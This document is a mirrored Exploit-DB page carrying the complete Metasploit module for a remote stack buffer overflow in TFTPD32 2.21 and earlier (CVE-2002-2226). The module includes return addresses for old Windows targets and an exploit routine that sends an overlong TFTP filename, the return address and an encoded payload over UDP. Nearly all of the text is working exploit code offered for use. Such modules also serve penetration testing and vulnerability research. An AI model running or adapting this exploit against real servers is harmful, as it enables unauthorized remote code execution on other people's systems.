TFTPD32 < 2.21 - 'Filename' Remote Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-09-20

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16349/

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##

# $Id: tftpd32_long_filename.rb 10394 2010-09-20 08:06:27Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})

super(update_info(info,

'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in TFTPD32 version 2.21

and prior. By sending a request for an overly long file name

to the tftpd32 server, a remote attacker could overflow a buffer and

execute arbitrary code on the system.

},

'Author' => 'MC',

'Version'=> '$Revision: 10394 $',

'References' =>

[

['CVE', '2002-2226'],

['OSVDB', '45903'],

['BID', '6199'],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

},

'Payload'=>

{

'Space'=> 250,

'BadChars' => "\x00",

'StackAdjustment' => -3500,

},

'Platform' => 'win',

'Targets'=>

[

['Windows NT 4.0 SP6a English',{ 'Ret' => 0x77f9d463} ],

['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ],

['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ],

['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ],

],

'Privileged' => true,

'DisclosureDate' => 'Nov 19 2002'

))

register_options(

[

Opt::RPORT(69)

], self)

end

def exploit

connect_udp

print_status("Trying target #{target.name}...")

sploit =

"\x00\x01" +

rand_text_english(120, payload_badchars) +

"." +

rand_text_english(135, payload_badchars) +

[target.ret].pack('V') +

payload.encoded +

"\x00"

udp_sock.put(sploit)

disconnect_udp

end